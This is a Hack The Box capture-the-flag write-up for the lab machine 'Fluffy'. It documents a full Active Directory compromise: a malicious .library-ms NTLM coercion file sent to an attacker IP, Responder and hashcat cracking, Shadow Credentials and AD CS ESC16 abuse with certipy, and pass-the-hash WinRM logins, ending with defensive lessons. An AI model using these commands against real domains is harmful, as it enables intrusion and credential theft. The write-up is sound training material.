root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat fluffy.md
// writeups

Fluffy

24 May 2025 · 11 min read
Fluffy - maquina de Hack The Box

Executive summary — Fluffy is an Easy Active Directory box in assume-breach mode (we're given j.fleischman:J0elTHEM4n1990!). The initial nmap scan gives away a Domain Controller (fluffy.htb / DC01) and a writable SMB share, IT, where a leftover PDF leaks another username, p.agila. There we upload a malicious .library-ms file (CVE-2025-24071, related to CVE-2025-24054) that forces NTLM authentication: Responder captures p.agila's hash, which we crack with hashcat. BloodHound shows p.agila is in Service Account Managers, which has GenericAll over the Service Accounts group; that group in turn has GenericWrite over winrm_svc and ca_svc. We join the group, abuse Shadow Credentials to take winrm_svc (user flag), and pivot from there to ca_svc, vulnerable to AD CS ESC16, to issue an Administrator certificate and close out the box (root flag). Path: IT share -> .library-ms -> p.agila -> winrm_svc -> ESC16 -> Administrator.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.10.11.69

Attack map

[assume-breach] j.fleischman : J0elTHEM4n1990!  (SMB/LDAP, no WinRM)
   |  IT share (R/W): KeePass, Everything, Upgrade_Notice.pdf -> "p.agila" hint
   v
[SMB write] upload malicious .library-ms (CVE-2025-24071/24054) + Responder
   v
[p.agila]  NetNTLMv2 -> hashcat -> prometheusx-303
   |  BloodHound: p.agila -> Service Account Managers -> GenericAll over Service Accounts
   |             Service Accounts -> GenericWrite over winrm_svc and ca_svc
   v
[winrm_svc]  Shadow Credentials (certipy) -> WinRM (user.txt)
   |  ca_svc vulnerable to ESC16 (Security Extension disabled)
   v
[ADMIN]  change ca_svc UPN -> issue Administrator cert -> auth (root.txt)

1. Reconnaissance

A full port sweep followed by a targeted -sCV makes it obvious we're facing a domain controller: Kerberos, LDAP, SMB, the Global Catalog and WinRM are all open.

nmap -p- --min-rate 10000 10.10.11.69
nmap -sCV -p53,88,139,389,445,464,593,636,3268,3269,5985 10.10.11.69

🧠 53 (DNS), 88 (Kerberos), 389/3268-3269 (LDAP + Global Catalog), 445 (SMB) and 5985 (WinRM) together are the classic DC fingerprint. The LDAP banner itself confirms the domain and the controller's hostname:

Domain: fluffy.htb
DC: DC01.fluffy.htb

2. Validating the initial credentials (assume-breach)

We start with a low-privilege user handed to us up front. Before touching anything else, we check where it actually works:

netexec smb dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!'

The credentials validate on SMB and LDAP, but fail on WinRM: j.fleischman has no interactive session, only enough to enumerate.

3. SMB enumeration — the IT share

We list the shares with the same credentials:

netexec smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --shares

IT stands out with READ/WRITE permissions. Inside there's a password manager (KeePass), a search tool (Everything) and an Upgrade_Notice.pdf. The PDF mentions another user, p.agila — that's the key hint for who to target next, and the write permission on the share is what makes the following attack possible.

4. Exploitation — CVE-2025-24071 / CVE-2025-24054

Windows processes .library-ms files even when they sit inside a ZIP, without the victim ever opening them: Explorer, simply by indexing the folder, resolves the remote path the file declares, which forces an outbound NTLM authentication to whatever host the attacker controls. CVE-2025-24071 and the related CVE-2025-24054 (both patched by Microsoft in March 2025) exploit this same family of hash leaks with no real user interaction.

We generate the malicious .library-ms with a public PoC, pointing it at our HTB VPN IP, and package it into a ZIP:

python3 poc.py 0xdf <ATTACKER_IP>
exploit.zip
 └── 0xdf.library-ms

We start Responder listening and upload the ZIP to the writable IT share:

sudo responder -I tun0
smbclient //dc01.fluffy.htb/IT -U j.fleischman
put exploit.zip

In under a minute, as soon as some automated process indexes the folder, Responder captures the authentication:

FLUFFY\p.agila  NetNTLMv2

5. Cracking the NetNTLMv2 hash

p.agila's NetNTLMv2 hash falls to a classic wordlist:

hashcat hash.txt rockyou.txt
p.agila : prometheusx-303

We confirm the credentials, which again work on SMB but not on WinRM:

netexec smb dc01.fluffy.htb -u p.agila -p prometheusx-303

6. BloodHound — from p.agila to the service accounts

We collect the whole AD with BloodHound to map out escalation paths:

bloodhound-ce-python -c all -d fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' \
  -ns 10.10.11.69 --zip

The graph reveals the full chain: p.agila belongs to the Service Account Managers group, which has GenericAll over the Service Accounts group. That group, in turn, has GenericWrite over the winrm_svc and ca_svc accounts. And winrm_svc belongs to Remote Management Users: if we get its hash, we get WinRM.

p.agila -> Service Account Managers
Service Account Managers -> GenericAll over Service Accounts
Service Accounts -> GenericWrite over winrm_svc and ca_svc
winrm_svc -> member of Remote Management Users

We use the GenericAll right to add ourselves to the Service Accounts group and inherit the GenericWrite over both service accounts:

bloodyAD -u p.agila -p prometheusx-303 -d fluffy.htb --host dc01.fluffy.htb \
  add groupMember 'service accounts' p.agila

7. Shadow Credentials -> winrm_svc (user.txt)

With GenericWrite over winrm_svc we abuse Shadow Credentials: instead of resetting the password (which would be noticed), we write an msDS-KeyCredentialLink attribute pointing to a certificate we control and authenticate via Kerberos with it (PKINIT), which hands us the account's NTLM hash without ever touching its password:

certipy shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc
NT hash: 33bd09dcd697600edf6b3a7af4875767

With that hash we get a WinRM shell and grab the user flag:

evil-winrm -i dc01.fluffy.htb -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
type C:\Users\winrm_svc\Desktop\user.txt

8. Escalation — AD CS ESC16

Now on winrm_svc, and remembering that the Service Accounts group also has GenericWrite over ca_svc, we look for vulnerable templates and CAs with certipy find:

certipy find -u ca_svc@fluffy.htb -hashes <hash> -vulnerable -stdout
ESC16 - Security Extension Disabled

ESC16 isn't a misconfigured template — it's the CA itself: it is missing the szOID_NTDS_CA_SECURITY_EXT extension, which normally binds every issued certificate to the requester's SID. Without that extension, the certificate only carries the requester's UPN at request time — and a UPN can be changed. The recipe is: change the UPN of an account we control to administrator, request any authentication certificate, and the DC will authenticate us as Administrator because that's the only thing it can read off the certificate.

We change ca_svc's UPN (which we control via GenericWrite) to administrator and request a certificate with the User template:

certipy account -u winrm_svc@fluffy.htb -hashes <hash> -user ca_svc -upn administrator update
certipy req -u ca_svc -hashes <hash> -dc-ip 10.10.11.69 -target dc01.fluffy.htb \
  -ca fluffy-DC01-CA -template User

The resulting certificate (administrator.pfx) authenticates and hands us Administrator's real NTLM hash:

certipy auth -dc-ip 10.10.11.69 -pfx administrator.pfx -u administrator -domain fluffy.htb
NTLM hash Administrator:
8da83a3fa618b6e3a00e93f676c92a6e

With that hash we open a WinRM shell as Administrator and read the root flag. Domain fully compromised. 🏴‍☠️

evil-winrm -i dc01.fluffy.htb -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
type C:\Users\Administrator\Desktop\root.txt

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconIT share (SMB)Write access enabled + a sensitive file exposes user p.agilaHint that steers the attack
FootholdIT share (.library-ms)CVE-2025-24071 / CVE-2025-24054 (NTLM coercion) + Responderp.agila's NetNTLMv2 hash
LateralService Account Managers -> Service AccountsNested GenericAll -> GenericWrite over service accountsShadow Credentials over winrm_svc
PrivEscAD CS (ESC16)Disabled Security Extension on the CA + UPN swapDomain Administrator certificate and hash

Lessons learned

  • CVE-2025-24071 / CVE-2025-24054: patch; .library-ms files (and similar ones like .url) can leak NTLM hashes with no real user interaction, even from inside a ZIP.
  • Share permissions: no share should grant write access to low-privilege users, let alone contain files that expose other domain accounts.
  • NTLM/SMB signing: enforce signing and block outbound NTLM authentication to arbitrary hosts to mitigate coercion + relay.
  • Nested group delegation: a GenericAll over a group that in turn has GenericWrite over service accounts is a full privilege escalation path; audit these chains with BloodHound regularly.
  • Shadow Credentials: monitor and alert on writes to the msDS-KeyCredentialLink attribute on service accounts.
  • Harden AD CS: ESC16 lets you impersonate anyone with just a UPN change; enable the Security Extension on the CA and audit templates and enrollment rights with certipy find.